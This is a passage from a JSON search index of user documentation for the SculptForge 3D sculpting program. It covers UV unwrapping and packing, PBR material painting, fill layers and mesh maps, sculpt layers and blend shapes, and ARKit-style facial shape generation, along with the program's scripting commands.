scaling","t":"The selection has a box with handles: drag inside it to move, a corner to scale, the knob above it to rotate. Or press G (move), R (rotate) or S (scale) over the view, move the mouse, and click (or Enter) to finish; a right click or Esc puts it back. During G and S, X or Y locks to one axis; Ctrl snaps (1/64 of a tile, 15 degrees, tenths of the size). The model's stretch colours and checker follow the drag live. Each drag is one undo step."},{"p":"uv-editor.html","c":"UV Editor","a":"seams","h":"Seams","t":"Seams are the edges Unwrap cuts along. They show in red on the model while the UV Editor is open, and in red in the view. Seam Tool: drag along the model over the edges you want cut. Each stretch follows the shortest edge path from where the last one ended, so you can draw a loop around an arm in a few strokes. Alt+drag clears seams the same way. A ring under the pointer shows the vertex the next stretch starts from. Mark Seam / Clear Seam: the selected edges, or the border of the selected faces. Face Groups: every face group border becomes a seam. Island Borders: the borders of the current UV islands become seams (keeps an imported layout's cuts). Sharp Edges: every edge sharper than the angle beside it (hard-surface models). Clear All. Seams drawn with the Seam Tool across the mane, in red on the model"},{"p":"uv-editor.html","c":"UV Editor","a":"unwrapping","h":"Unwrapping","t":"Pick a method and click Unwrap. With faces selected it says Unwrap Selected: only those are unwrapped, and their new islands are fitted where the old ones were; otherwise the whole Part is unwrapped and packed. Method What it does Least Stretch (the default) Cuts along the marked seams and flattens each piece keeping both angles and lengths (a conformal start, then as-rigid-as-possible steps). The best all-round choice Conformal (LSCM) Keeps angles exactly; big curved pieces get smaller towards their ends By Face Groups Least Stretch, also cut along every face group border: group the model, then unwrap Planar Projects each piece flat along its mean direction: for flat panels and decals Unfold Islands Flattens the current islands again where they are, keeping pinned UVs in place: relax after editing Auto Seams Finds its own seams (as Auto UV does), for models you don't want to cut by hand Refine sets how many least-stretch steps run (more keeps lengths better; 0 is plain conformal). You don't have to cut everything yourself: a piece that is closed (a sphere), a tube or has holes gets the extra cuts it needs automatically, a closed shell split across its middle and a tangled piece cut into charts the way Auto Seams would. Without marked seams, a Part that already has UVs is cut along its current island borders. Unwraps of big meshes run in the background with their progress over the view; a million triangles take a few seconds."},{"p":"uv-editor.html","c":"UV Editor","a":"packing-and-udim-tiles","h":"Packing and UDIM tiles","t":"Pack lays the selected islands (or all) out as large as they fit: each turned to its smallest box, scaled to one texel density (Equal density; off keeps their sizes relative to each other), with Margin texels between them. Rotate also allows quarter turns. SculptForge tries packing by the islands' outlines and by their boxes and keeps whichever holds them larger. UDIM Tiles spreads the islands over that many tiles, 1001, 1002 and on (ten per row, as UDIM numbers go), each island at the same texel density: more tiles, more texels for everything. Pack at Density instead keeps exactly the target texel density and opens as many tiles as it needs. Packed across UDIM tiles 1001 and 1002"},{"p":"uv-editor.html","c":"UV Editor","a":"texel-density","h":"Texel density","t":"Texel density is how many texels of the texture cover a unit of the surface. The Texel Density section shows the selected islands' density (or the mean) at the texture's size (or the size you choose when there is no texture yet), and the Density colours show it on every face: green is the mean, blue fewer texels, red more. Set: scale the selected islands (or all) to the target density (texels per unit). Match: give them all their mean density, so a detail looks the same size everywhere. Pick: take the target from the selection. Pack at Density: pack at exactly the target (see above). Stretch on the model and in the view while the UVs are edited"},{"p":"uv-editor.html","c":"UV Editor","a":"trim-sheets","h":"Trim sheets","t":"A trim sheet is a texture made of horizontal strips (a moulding, a belt, a seam of rivets), each repeating left to right. In Trim Sheet, describe the strips: a count (4 equal strips), heights from the top (0.5,0.25,0.25) or v ranges (0-0.5;0.5-1); they show over tile 1001 while the section is open. Pick a strip and click Assign to Strip: the selected islands are turned lengthwise, scaled to the strip's height and lined up along it from the left. Fit width squeezes or stretches the row to fill the strip exactly; off, it keeps its proportions and may run past the right edge, which is fine on a trim that repeats. The texture doesn't move for trims: the islands take on the strip's look. An island laid into the second of four trim strips"},{"p":"uv-editor.html","c":"UV Editor","a":"editing","h":"Editing","t":"Button Over the view What it does Pin / Unpin P / Alt+P Pinned UVs (blue dots) stay where they are when you Unwrap or Unfold Weld W Selected vertices that meet across a seam become one UV each, and the seam between them goes Split Y The selected edges, or the border of the selected faces, become seams, so those faces move on their own Straighten The selected vertices (a border, an edge loop) line up on one horizontal or vertical line Rotate 90 A quarter turn of the selection (or everything) Flip U / Flip V Mirror the selected islands left to right or top to bottom A good relax workflow: straighten or move the borders you care about, pin them, then Unfold Islands."},{"p":"uv-editor.html","c":"UV Editor","a":"paint-stays-on-the-model","h":"Paint stays on the model","t":"Paint stays on the model (at the bottom of the sections, on by default): when the Part has a painted texture, every UV edit (unwrap, pack, a drag, density, weld...) moves the paint onto the new layout in the same undo step, every texture layer with it, so the model looks exactly the same. Undo brings back the old UVs and the old texels. Turn it off when you want the UVs to pick a different part of the texture (as trim sheets do); the trim command leaves it off by default."},{"p":"uv-editor.html","c":"UV Editor","a":"undo","h":"Undo","t":"Every UV operation is one undo step (Ctrl+Z), drags included: the UVs, seams and pins, and the texture when it moved with them. Seams and pins are saved with the project."},{"p":"uv-editor.html","c":"UV Editor","a":"scripting","h":"Scripting","t":"Every operation is a command, for scripts, sculptforge-cli, Python (sf.run(doc, \"uv_unwrap\", method=\"isometric\")) and the AI assistant. \"The selection\" is the UV Editor's (set it with uv_select); with nothing selected the commands work on the whole Part. Command What it does uv_unwrap Unwrap: method=isometric (Least Stretch), conformal, facegroups (By Face Groups), planar, unfold or auto; iterations=, selected=, tiles=, margin=, rotate=, density=, pack=false (fit in place), keep_texture= uv_pack Pack: margin= (texels), tiles= (UDIM tiles), first_tile=, rotate=, equal_density=, density= (texels per unit, as many tiles as needed), resolution=, keep_texture= uv_seam Seams: op=mark / clear (the selection), path from= to= (shortest edge path between two vertices; clear=true), facegroups, islands, angle angle=60, clear_all uv_select op=all, none, invert, island face=, face face=, facegroup group=, rect u0= v0= u1= v1=, seams, mode; mode=vertex/edge/face/island, add=true uv_transform move_u=, move_v=, rotate= (degrees), scale=, scale_u=, scale_v= about the selection's centre uv_edit op=pin, unpin, clear_pins, weld, split, straighten, flip_u, flip_v uv_density op=set value=, op=match (match=mean or first), op=info; resolution= uv_trim strip=2 strips=4 (or 0.5,0.25,0.25 or 0-0.5;0.5-1), fit_width=, margin= uv_info Islands, seams, pins, texel density, the UDIM tiles in use and the mean stretch uv_seam op=face groups uv_unwrap method=isometric uv_pack tiles=2 margin=8 uv_density op=match uv_info"},{"p":"uv-editor.html","c":"UV Editor","a":"limits","h":"Limits","t":"Texture painting paints tile 1001 (UVs between 0 and 1); islands in other UDIM tiles are laid out, measured and exported, but painting them comes later. Packing works on islands' outlines when there are enough of them and the mesh isn't huge; otherwise on their boxes (a little less tight). Experienced sculptor? The UV Editor covers UV editing and auto UV: seams on the model, several unwraps, UDIM packing, texel density and trim sheets, plus live stretch and density on the model while you edit and paint that stays put when the UVs change."},{"p":"uv-editor.html","c":"UV Editor","a":"see-also","h":"See also","t":"Texture painting: paint on the UVs Baking: bake maps onto them Exporting: UVs go out with OBJ, glTF, FBX and USD"},{"p":"pbr-painting.html","c":"Material painting (PBR)","a":"","h":"Material painting (PBR)","t":"A painted texture can carry more than colour. Turn on material channels and the Paint brush paints how rough, how metallic, how bumpy and how bright the surface is, all in one stroke, the way game engines and renderers describe materials (physically based rendering, PBR). Every channel lives on the same UVs and paint layers as the colour from Texture painting, and goes out to Unreal, Unity, Godot, Blender, glTF and USD with Export presets. Solo roughness view: a glossy horizontal stroke on Base and a rough vertical stroke on a layer"},{"p":"pbr-painting.html","c":"Material painting (PBR)","a":"the-channels","h":"The channels","t":"Channel What it holds Stored as Base Color The surface colour. Always there. 8-bit sRGB (the texture you already paint) Roughness 0 is mirror-like, 1 fully matte. Starts at 0.65. 8-bit Metallic 0 for paint, stone, skin, plastic; 1 for bare metal. Starts at 0. 8-bit Normal Fine surface direction, a tangent-space normal map (OpenGL, green up). Starts flat. 8-bit RGB Height Painted relief, 0.5 = none. Also adds to the normal (\"height to normal\"). 16-bit Ambient Occlusion How much light reaches crevices, 1 = open. 8-bit Emissive Light the surface gives off, black = none. 8-bit sRGB Opacity 1 = opaque. Exported in the base colour's alpha. 8-bit A channel you turn on costs no memory until you paint it: channels are stored as 64 x 64 tiles, and a tile nobody painted is not stored at all (a tile of one value is stored as that one value). Turning a channel off discards what was painted in it; Undo brings it back."},{"p":"pbr-painting.html","c":"Material painting (PBR)","a":"turn-channels-on","h":"Turn channels on","t":"Give the Part a texture (Texture painting). Open Tool > Texture Map. Under Material Channels, tick the channels you want (for a typical game asset: Roughness, Metallic and Normal; add Height to paint relief, Ambient Occlusion to paint dirt into crevices). Channel memory below the ticks shows what the painted tiles use; the same number, for every Part, is in Edit > Preferences > Performance under Memory."},{"p":"pbr-painting.html","c":"Material painting (PBR)","a":"paint-a-material","h":"Paint a material","t":"Open the Paint menu. With a material texture, a Material section appears under the swatches: Paint > Material: material swatches, and per channel a tick, value swatches and a slider; Material Channels in Tool > Texture Map Material swatches set the colour, roughness and metallic at once (bare metal, gold, copper, rust, gloss paint, rubber, stone, clay) and make the brush paint those channels. One row per channel: the tick says whether the brush paints that channel; the five grey squares pick 0, 25, 50, 75 or 100%; the slider sets any value. Normal has two tilt sliders (0, 0 paints a flat normal). Emissive has a colour. Untick Base Color to paint only roughness (a wet patch, a polished edge) without touching the colour. Every stroke is one undo step for all the channels it painted. The brush's falloff, alpha, pen pressure, symmetry and mask apply to every channel alike; erasing (Alt) paints Base back to each channel's default and makes layers transparent. C over the model picks the whole material: the colour and every channel under the cursor become the brush material, and the brush then paints all of the texture's channels."},{"p":"pbr-painting.html","c":"Material painting (PBR)","a":"layers-and-channels","h":"Layers and channels","t":"Paint layers (Texture painting) hold every channel. In Tool > Paint Layers, each layer row gets a row of channel chips (BC, R, M, N, H, AO, E, Op): Click a chip to turn that channel of the layer on or off. A rust layer can carry colour and roughness but leave metallic alone; a scratches layer can affect only the normal. Right-click a chip for the channel's blend mode and opacity. The ten paint-layer blend modes work per channel (Multiply on roughness halves it where you paint, Screen brightens AO...). The Normal channel adds Normal Combine, which lays the layer's normal detail onto the normals below instead of replacing them. A chip with a * uses a blend mode other than Normal or less than full opacity. The layer's own opacity, visibility and lock apply to all its channels. Merge down and Flatten keep the look of every channel. Duplicate copies a layer with its channels."},{"p":"pbr-painting.html","c":"Material painting (PBR)","a":"the-pbr-viewport","h":"The PBR viewport","t":"Render > Materials > Viewport Shading switches the view between Lit Sphere (the default, made for reading forms while sculpting) and PBR, which lights the material channels the way game engines and renderers do: rough surfaces spread the light, metals reflect the environment in their own colour, painted height and normals catch the light, emissive glows. PBR viewport, Photo Studio: gold metal and a raised rough red stroke Environment: Studio (made by SculptForge), Photo Studio, Small Studio and Outdoor Sky (free CC0 photographs from Poly Haven). HDR images (.hdr, .exr) in the folders listed in the SCULPTFORGE_HDRI_PATH environment variable are added to the list. Exposure in stops, Rotation of the environment, and the Tone map: ACES (filmic contrast), AgX (softer, keeps bright colours from going flat), Reinhard or None. Show environment puts the environment behind the model, with a Blur. Roughness and Metallic apply to Parts without a material texture (their colour comes from vertex paint or the base colour), so you can judge a sculpt as metal or clay too. Cavity darkens the sculpt's creases a little so fine detail reads under even light; 0 is plain PBR. The environment behind the model: Outdoor Sky with the AgX tone map The view stays as fast as Lit Sphere: lighting is precomputed per environment (on a worker thread when you switch), and only the pixels on screen pay for it. A 20.9-million-triangle Part draws in about 8 ms in PBR next to about 6 ms with Lit Sphere on an Apple M1 Pro. The settings are saved with the project (viewport_shading mode=pbr environment=outdoor_sky exposure=0.5 tone_map=agx)."},{"p":"pbr-painting.html","c":"Material painting (PBR)","a":"see-one-channel-on-its-own","h":"See one channel on its own","t":"Tool > Texture Map > Normal view opens a list: pick Solo Roughness (or any enabled channel) and the model shows just that channel, in grey for roughness, metallic, height, AO and opacity, as colours for the normal (with the height's normal in it) and in colour for emissive. Painting updates it live. Pick Normal view to go back. The viewport doesn't yet render the channels together as a lit PBR material; the solo view is how you check them for now."},{"p":"pbr-painting.html","c":"Material painting (PBR)","a":"height-and-normals","h":"Height and normals","t":"Height is stored with 16 bits, so slow ramps don't band. Its slope becomes a normal that is combined onto the Normal channel (Normal Combine) wherever a normal is shown or exported, so painting height also gives the shading detail. texture_channels height_normal_strength=4 sets how steep that normal is (0: height adds no normal)."},{"p":"pbr-painting.html","c":"Material painting (PBR)","a":"carrying-channels-through-geometry-changes","h":"Carrying channels through geometry changes","t":"Auto UV, Voxel Remesh, Quad Remesh and merging Parts move every channel and every layer's channels onto the new UVs, as they do the colour. A part without a channel takes that channel's default when Parts merge."},{"p":"pbr-painting.html","c":"Material painting (PBR)","a":"projects","h":"Projects","t":"Projects with material channels are saved as format 7 (SculptForge 0.10 and later opens them). A project without material channels is still saved as format 6, so older versions keep opening it. Older projects open as they did."},{"p":"pbr-painting.html","c":"Material painting (PBR)","a":"commands","h":"Commands","t":"Command What it does texture_channels enable=roughness,metallic,normal Turn channels on (disable=... off; no arguments lists them) paint_material roughness=0.2 metallic=1 color=c0c0c8 Set the brush material; channels=all / channels=roughness say exactly what it paints texture_layer_channel channel=normal blend=normal_combine A layer's channel settings (enabled, blend, opacity; layer or index) channel_view channel=roughness Solo a channel in the viewport (off to go back) export_maps preset=unreal folder=... Write the maps (Export presets) viewport_shading mode=pbr environment=photo_studio exposure=0.3 The PBR viewport (mode=lit_sphere to go back; rotation, tone_map, background, blur, roughness, metallic, cavity)"},{"p":"pbr-painting.html","c":"Material painting (PBR)","a":"limitations","h":"Limitations","t":"Fill layers, their mask generators, Mesh Maps and Material Recipes have their own chapter: Fill layers, Mesh Maps and Material Recipes. One texture per Part (UDIM tiles bake as files, Baking, but paint goes into one texture). Memory: colour, roughness, metallic, height and AO on Base plus three layers, each with a few big strokes, take about 370 MB at 4K and 1.5 GB at 8K (most of it the colour layers); a layer painted everywhere adds about 200 MB of channels at 4K and 800 MB at 8K. Edit > Preferences > Performance shows the numbers for your scene. Paint at 4K unless you need 8K. Export Maps takes a few seconds at 4K and about ten at 8K (PNG compression)."},{"p":"fill-layers.html","c":"Fill layers, Mesh Maps and Material Recipes","a":"","h":"Fill layers, Mesh Maps and Material Recipes","t":"A Fill layer lays a material over the whole Part, through a mask that you build from effects instead of painting it by hand: worn paint on the edges, dirt in the crevices, dust on the surfaces that face up. The mask reads the Part's Mesh Maps (its ambient occlusion, curvature, thickness and more, baked on its UVs), so the wear lands where the form says it should, and it moves with the form: sculpt a new crease and the paint chips along it a moment later. Material Recipes are ready-made stacks of Fill layers you can lay on any Part. Painted Edges on a sculpted sphere: the paint has chipped away along the creases Fill layers live in Tool > Paint Layers next to your paint layers, on a Part with a texture (Texture painting). Turn on Render > Materials > Viewport Shading > PBR to see the metal, the roughness and the bumps as they will look in a game engine (Material painting)."},{"p":"fill-layers.html","c":"Fill layers, Mesh Maps and Material Recipes","a":"lay-a-material-recipe","h":"Lay a Material Recipe","t":"Give the Part UVs and a texture (Tool > Texture Map > Auto UV, then New Texture). In Tool > Paint Layers, open Material Recipe and pick one: Worn Metal: dull steel, polished bright on the edges, grime in the creases. Painted Edges: painted metal with the paint chipped off its edges. Dirt and Dust: dirt packed in the crevices and pale dust on top, to lay over any material. Rusted Iron: dark iron with rust spreading from the crevices. The recipe adds its Fill layers on top of your layers, turning on the material channels it needs. The first time, the Part's Mesh Maps are baked in the background (a progress bar shows); the layers fill in when they are ready. Every layer of the recipe stays editable, and Undo removes the whole recipe in one step."},{"p":"fill-layers.html","c":"Fill layers, Mesh Maps and Material Recipes","a":"make-a-fill-layer","h":"Make a Fill layer","t":"+ Fill Layer adds a Fill layer in the current colour, covering everything. With it active, the panel shows: Colour and the channels it lays down (BC base colour, R roughness, M metallic, H height), with a slider for each value. Mask: the effects, top to bottom. Each one has a switch, a remove button and its own settings; from the second one on, a blend mode says how it combines with the effects above it (multiply, add, subtract, min, max, screen, replace). Add mask effect adds one at the bottom. The Fill layer panel: colour, channels and the mask effects with their settings"},{"p":"fill-layers.html","c":"Fill layers, Mesh Maps and Material Recipes","a":"mask-effects","h":"Mask effects","t":"Effect What it does Reads Edge Wear Convex edges and ridges, where things get rubbed and chipped Curvature Dirt Crevices, creases and corners, where dirt collects Ambient occlusion, curvature Gradient Along a direction across the Part (e.g. darker toward the bottom) Position Thickness Thin parts: ears, fins, edges of a blade Thickness Light Direction Surfaces facing a direction: dust and snow on top, moss on one side World normal Noise Fractal noise in 3D, so it has no seams at UV island borders Position Paint A mask you paint by hand (below) Levels Input and output range and gamma of the mask so far Blur Softens the mask so far (within UV islands only) Invert Flips the mask so far Fill A constant value The generators (the first five) have the same settings: Level (how much of the surface they cover), Softness (how wide the transition is), Break-up (how much noise roughens the edge of the mask) and Noise size (as a fraction of the Part's size)."},{"p":"fill-layers.html","c":"Fill layers, Mesh Maps and Material Recipes","a":"paint-a-mask","h":"Paint a mask","t":"Add a Paint effect, keep the Fill layer active and paint on the model with the Paint brush: you paint the layer's mask (white adds, Alt removes), and the layer updates as you paint. Strokes undo like any stroke. Combine it with generators: for example Edge Wear, then Paint with Subtract to keep an edge clean by hand."},{"p":"fill-layers.html","c":"Fill layers, Mesh Maps and Material Recipes","a":"mesh-maps","h":"Mesh Maps","t":"Mesh Maps are the Part's own surface, baked on its UVs at its texture's size: ambient occlusion, curvature (convex edges bright, creases dark), thickness, position (16-bit), world normal and ID (a colour per face group). Fill layers read them; you don't have to look at them. The line under the Fill buttons says what is baked. Bake bakes them again in full (after changing the UVs, for example: that happens by itself when a Fill layer needs them). Baking runs on every core in the background. Live (on by default): after each stroke, only the tiles of the texture near what you sculpted are baked again, from the triangles within reach of the change, and the Fill layers re-evaluate those tiles. The result is the same as baking everything again (it is tested texel for texel), in a fraction of the time: on a test Part with 82,000 triangles and 2K maps, a full bake takes about 10 seconds and a local change about half a second. Turn Live off to keep the maps as they are while you sculpt. To bake maps as image files for other programs, use Tool > Bake (Baking): it also bakes from a Part's top subdivision level onto its lowest, and to UDIM tiles."},{"p":"fill-layers.html","c":"Fill layers, Mesh Maps and Material Recipes","a":"save-your-own-recipe","h":"Save your own recipe","t":"A recipe is a small text file (.sfmaterial) listing the Fill layers, their materials and masks. Save the active Part's Fill layers with material_recipe action=save name=\"My Rust\" path=my_rust.sfmaterial and lay it on another Part with material_recipe path=my_rust.sfmaterial. The built-in recipes are files of the same kind in the source code's assets/materials folder."},{"p":"fill-layers.html","c":"Fill layers, Mesh Maps and Material Recipes","a":"projects","h":"Projects","t":"Fill layers are saved with the project (format 7): their settings and painted masks, and their last result, so older versions open the project with the layers showing as ordinary paint layers. Mesh Maps are not saved; they are baked again when a Fill layer needs them."},{"p":"fill-layers.html","c":"Fill layers, Mesh Maps and Material Recipes","a":"commands","h":"Commands","t":"Command What it does material_recipe name=worn_metal Lay a recipe on the active Part (action=list, action=save path=..., path=file) fill_layer generator=edge_wear color=#e0e0e8 metallic=1 level=0.6 Add a Fill layer (action=add is the default) fill_layer action=effect generator=dirt blend=add Add a mask effect to the active Fill layer (effect=1 level=0.4 edits one) fill_layer action=remove_effect effect=1 Remove a mask effect fill_layer action=set roughness=0.3 Change the layer's material mesh_maps Bake the Mesh Maps now (action=info, action=clear, action=live live=false)"},{"p":"layers.html","c":"Sculpt layers and blend shapes","a":"","h":"Sculpt layers and blend shapes","t":"Sculpt layers hold changes on top of the base mesh, each with its own weight: a smile, a blink, a corrective shape or a variation you want to dial in and out. Because a layer is a set of per-vertex offsets, it exports straight to game engines and DCC tools as a blend shape (morph target). This chapter covers creating, sculpting into, weighting, playing and exporting layers."},{"p":"layers.html","c":"Sculpt layers and blend shapes","a":"how-layers-work","h":"How layers work","t":"Each layer stores how far every vertex moves from the base. The shape you see is the base plus every layer times its weight. New strokes go into the active layer, or into the base mesh when Base mesh is selected. Layers belong to a Part: each Part has its own list of layers. A weight of 0 turns a layer off, 1 shows it as sculpted. Scripts can also set negative weights or weights above 1 to exaggerate a shape. Layers work on every subdivision level: see Layers and subdivision levels. Layers survive subdividing, decimating and LOD chains. A voxel remesh bakes them into the surface (the layers are gone afterwards). Note: Sculpt layers are not the Layer brush. The Layer brush raises the surface to a fixed height; sculpt layers are the blend-shape stack described here."},{"p":"layers.html","c":"Sculpt layers and blend shapes","a":"the-layers-sub-palette","h":"The Layers sub-palette","t":"Open Tool > Layers in the right tray. The Layers sub-palette with a base mesh and two blend shapes From top to bottom: Base mesh: select it to sculpt the base shape. One block per layer: a radio button with the layer's name (select it to sculpt into that layer), Play, X (delete) and a weight slider from 0 to 1. A name field and + Add at the bottom. The Layers list highlights the active layer; in the Classic layout the title strip also shows it (Layer Smile, or Layer Base)."},{"p":"layers.html","c":"Sculpt layers and blend shapes","a":"add-a-layer-and-sculpt-into-it","h":"Add a layer and sculpt into it","t":"Type a name in the field at the bottom of Tool > Layers, for example Smile or BlinkL. Click + Add (or press Enter in the field). The new layer becomes the active one. Sculpt. Every stroke goes into the layer until you select another layer or Base mesh. A layer whose weight is 0 can't be sculpted into: SculptForge tells you to raise the weight first. Tip: Name layers the way your engine or rig expects (jawOpen, BlinkL): the names become the blend shape and morph target names in exported files. For a face, Tool > Facial Shapes makes all 52 ARKit shapes for you: see Facial shapes and live face."},{"p":"layers.html","c":"Sculpt layers and blend shapes","a":"adjust-and-preview-weights","h":"Adjust and preview weights","t":"Drag a layer's weight slider to blend it in and out. Play animates the layer from 0 to 1 and back, over and over, so you can judge the motion. Click Stop to end it; the weight returns to 1. Starting a stroke also stops playback. Weights are saved with the project and used by exports that keep weights (USD writes the current weights)."},{"p":"layers.html","c":"Sculpt layers and blend shapes","a":"delete-a-layer","h":"Delete a layer","t":"Click X next to the layer. Its offsets are removed from the mesh and the base mesh becomes the active target. Deleting a layer is undoable."},{"p":"layers.html","c":"Sculpt layers and blend shapes","a":"layers-and-subdivision-levels","h":"Layers and subdivision levels","t":"With subdivision levels a layer works the way 3D Layers do: record it at the top level for the fine detail of an expression, and it stays with the Part whatever level you work on. Each layer has its own detail on every level. Step down with Lower Res (Shift+D) and a lower level shows the broad part of the layer, exactly as it would show the same strokes made in the base. Step back up and the layer is there as you recorded it, to the last vertex. Weights are shared by all levels. Turn a layer off (weight 0) or blend it at a low level and the top shows the same when you go back up; the slider and Play work at every level. Sculpt into a layer at any level. At a low level a stroke into a layer makes a broad change that the higher levels follow smoothly; the detail recorded above it stays. A layer added at a low level shows on every level above it too. Reshape the base at a low level (or turn it with the Gizmo) and each layer's detail rides on the new shape: its offsets turn with the surface instead of pointing the old way. Divide carries the layers to the new level. Reconstruct Subdiv keeps them, exact at the top. Del Lower and Del Higher keep the current level's layers as they are. Deleting a layer removes it from every level. Undo steps back through strokes, level changes and divisions with their layers. Projects keep every level's layers. Exports write the current level with its layers as blend shapes, so export from the top for the game mesh; subdiv_export path=face_low.glb level=1 writes the base cage with its blend shapes instead. The tools that rebuild the mesh (Voxel Remesh, Quad Remesh, Decimate, Subdivide) work on the current level and drop the levels, as described in Subdivision levels; Voxel Remesh and Quad Remesh bake the layers into the surface."},{"p":"layers.html","c":"Sculpt layers and blend shapes","a":"export-blend-shapes","h":"Export blend shapes","t":"Format What layers become glTF / GLB (File > Export GLB..., Ctrl+E) Morph targets FBX Blend shapes USD / USDZ UsdSkel blend shapes, with their current weights Send to Unreal / Export FBX for Unreal A skeletal mesh with morph targets LOD chain Blend shapes are kept on every LOD Project (.sfproj) Everything: layers, weights and the active layer OBJ, PLY, STL The current blended shape only Importing works the other way: glTF morph targets and FBX or USD blend shapes open as sculpt layers. See Exporting."},{"p":"layers.html","c":"Sculpt layers and blend shapes","a":"scripting","h":"Scripting","t":"Command What it does layer_add name=Smile Add a layer and make it active layer_set_active index=0 Choose the layer strokes go into (-1 = base mesh) layer_set_weight index=0 weight=0.5 Set a layer's weight (negative or above 1 exaggerates) layer_remove index=0 Delete a layer Layers are addressed by index, starting at 0 for the top layer. layer_add name=jawOpen; stroke points=\"0,-0.3,1 0,-0.5,1\" brush=Inflate; export_glb path=head.glb"},{"p":"layers.html","c":"Sculpt layers and blend shapes","a":"see-also","h":"See also","t":"Parts Subdivide, remesh, decimate and LODs Exporting: glTF morph targets, FBX blend shapes, Send to Unreal"},{"p":"facial-shapes.html","c":"Facial shapes and live face","a":"","h":"Facial shapes and live face","t":"Generate Facial Shapes gives a sculpted head the 52 blend shapes Apple ARKit and Google's MediaPipe use for face capture (eyeBlinkLeft, jawOpen, mouthSmileRight and the rest), fitted to that head's own proportions. They are ordinary sculpt layers: you fix any of them by sculpting, test them with expression presets, export them as morph targets to a rig, a game engine or Blender, and drive them live, so the character makes your expressions. Tool > Facial Shapes, with the template head smiling"},{"p":"facial-shapes.html","c":"Facial shapes and live face","a":"what-you-need","h":"What you need","t":"A humanoid head (human or stylised) as the active Part, its face pointing at the front view (+Z) with Y up, as SculptForge's front view shows it. A bust with shoulders is fine. Separate Parts for the eyes, teeth and tongue, if the sculpt has them (see Parts). Nothing to download: the template head the shapes come from is built into SculptForge. To try it on a ready-made head, type new_head in the console (`): a life-size human head with a mouth and eye sockets, and its eyes as a second Part."},{"p":"facial-shapes.html","c":"Facial shapes and live face","a":"generate-the-shapes","h":"Generate the shapes","t":"Select the head Part and open Tool > Facial Shapes. Click Generate Facial Shapes. It takes a second or two (more on millions of vertices). The status line says how well the template fitted: the fit error (as a share of the head's height; under 1% is good) and how much of the template's face found the sculpt. Tool > Layers now lists the 52 shapes, all at weight 0, so the sculpt looks unchanged. Generating again replaces the 52 layers (other layers stay). Undo brings back the previous ones, together with any fixes you had sculpted into them."},{"p":"facial-shapes.html","c":"Facial shapes and live face","a":"options","h":"Options","t":"Symmetry: Auto makes each Left / Right pair exact mirror images when the sculpt is symmetric about X = 0; On always mirrors (a slightly asymmetric sculpt gets the average); Off keeps each side as fitted. Parts too: also give the other Parts the shapes they need (below)."},{"p":"facial-shapes.html","c":"Facial shapes and live face","a":"how-it-works","h":"How it works","t":"SculptForge carries a template head with all 52 shapes: the ICT Face Model Light from ICT-FaceKit by the USC Institute for Creative Technologies, under the MIT licence (free for commercial work: studios can ship what it makes). Generating: Finds the face. Without landmarks it looks for the nose tip (the most forward point near the middle) and the head's height, then lines the template's face up with the sculpt's (rotation, scale and position). Wraps the template around the sculpt (non-rigid registration): the template is pulled onto the closest points of the sculpt, stiffly at first and then more and more loosely, so it takes the sculpt's shape without tearing. Transfers each shape with deformation transfer: each small piece of the template's surface moves in the shape the way it moves on the template, rebuilt on the fitted template. A wide face gets a wide smile, a long jaw a long jaw drop. Binds the sculpt to the fitted template: every vertex near the face follows the closest point of the template, so your sculpted detail (wrinkles, pores) rides along. Vertices away from the face (the back of a bust, the shoulders) don't move. Left and Right are the character's own: eyeBlinkLeft closes the character's left eye, which is on your right in the front view. That is what ARKit and MediaPipe mean."},{"p":"facial-shapes.html","c":"Facial shapes and live face","a":"landmarks","h":"Landmarks","t":"If the fit goes wrong (a strongly stylised face, a head turned a lot, a bust whose shoulders stick out further than the nose), guide it with landmarks: Landmarks found on the marble bust: eye corners, nose tip, mouth corners Click Auto Landmarks to see where the automatic fit puts the eye corners, the nose tip, the mouth corners and the chin. Click Place Landmarks. The canvas asks for each landmark in turn (right eye outer corner, right eye inner corner, left eye inner, left eye outer, nose tip, right mouth corner, left mouth corner, chin): click it on the sculpt. To move one, click its dot, then its new place. Click Generate Facial Shapes. With 3 or more landmarks the fit starts from them and pulls the template's landmarks onto yours; all 8 fit best. Clear removes them (the fit is automatic again). Landmarks aren't saved with the project."},{"p":"facial-shapes.html","c":"Facial shapes and live face","a":"parts","h":"Parts","t":"With Parts too on, the other visible Parts get shapes by their names: Part name contains It gets eye (not lash, brow or lid) the 8 eyeLook... shapes: each eye turns about its own centre (about 30 degrees sideways, 25 up or down). One Part may hold both eyes. teeth, tooth, gum or jaw the jaw shapes (jawOpen, jawLeft, jawRight, jawForward, tongueOut): the part below the bite moves with the lower jaw, the upper teeth stay. tongue the jaw shapes, and tongueOut pushes it out past the lips. anything else that sits on the face (brows, lashes, a beard, a moustache) the shapes that move the skin under it. Parts that aren't on the face get none. The eyes' shapes are rotations stored as blend shapes, so halfway (weight 0.5) an eye is a little smaller than a true rotation would leave it, as with any blend-shape eye. Rigs that turn eyes with bones can ignore those shapes."},{"p":"facial-shapes.html","c":"Facial shapes and live face","a":"mouth-and-eyes-what-to-expect","h":"Mouth and eyes: what to expect","t":"An open or slit mouth (the lips separate surfaces, ideally with a mouth bag behind them) opens cleanly: jawOpen drops the lower lip and the chin, mouthFunnel and mouthPucker shape the lips. A closed mouth sculpted as one continuous surface can't open: the shapes that part the lips move the lower lip and stretch the skin between the lips like a membrane. Cut the mouth first (sculpt a slit, or start from new_head, which has a mouth bag), or sculpt the fix into jawOpen. Eyelids close over the eyeballs in eyeBlinkLeft / eyeBlinkRight when the eyes are a separate Part. Eyes sculpted into the head's own surface (one mesh) would be pulled along by the lids: split them into their own Part first (Split parts). mouthClose is meant to be used with jawOpen: it closes the lips while the jaw is open (the ARKit convention). On its own it pushes the lips through each other. tongueOut: the template has no tongue shape, so on the head it opens the jaw a little; a tongue Part moves out."},{"p":"facial-shapes.html","c":"Facial shapes and live face","a":"fix-a-shape-by-sculpting","h":"Fix a shape by sculpting","t":"The shapes are a starting point, like a rigger's first pass. To fix one: In Tool > Layers, select its layer (the radio button with its name). Set its weight to 1 (its slider here or in Tool > Layers) and the other shapes to 0 (Neutral below). Sculpt: every stroke goes into that shape. Use X symmetry for a centre shape; for a Left / Right pair, fix one and regenerate with Symmetry on only if you haven't fixed the other side yet."},{"p":"facial-shapes.html","c":"Facial shapes and live face","a":"face-test","h":"Face test","t":"Under Face test: Presets show common expressions built from the shapes: Neutral, Smile, Grin, Surprise, Anger, Sad, Disgust, Fear, Blink, Wink, Kiss, Aah, Ooh, Puff, Look left, Tongue out. Preset amount sets how strongly. Eyes, Brows, Jaw, Mouth, Cheeks & nose, Tongue open a slider per shape. A slider drives the shape of that name on every Part (the eyes turn with 